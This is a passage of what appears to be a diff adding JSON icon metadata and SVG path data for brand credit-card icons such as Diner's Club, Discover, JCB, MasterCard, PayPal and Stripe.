26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z" + } + }, + "free": [ + "brands" + ] + }, + "cc-diners-club": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f24c", + "label": "Diner's Club Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860971, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z" + } + }, + "free": [ + "brands" + ] + }, + "cc-discover": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1f2", + "label": "Discover Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722325, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z" + } + }, + "free": [ + "brands" + ] + }, + "cc-jcb": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f24b", + "label": "JCB Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860972, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z" + } + }, + "free": [ + "brands" + ] + }, + "cc-mastercard": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1f1", + "label": "MasterCard Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860972, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z" + } + }, + "free": [ + "brands" + ] + }, + "cc-paypal": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1f4", + "label": "Paypal Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860972, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z" + } + }, + "free": [ + "brands" + ] + }, + "cc-stripe": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1f5", + "label": "Stripe Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722325, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 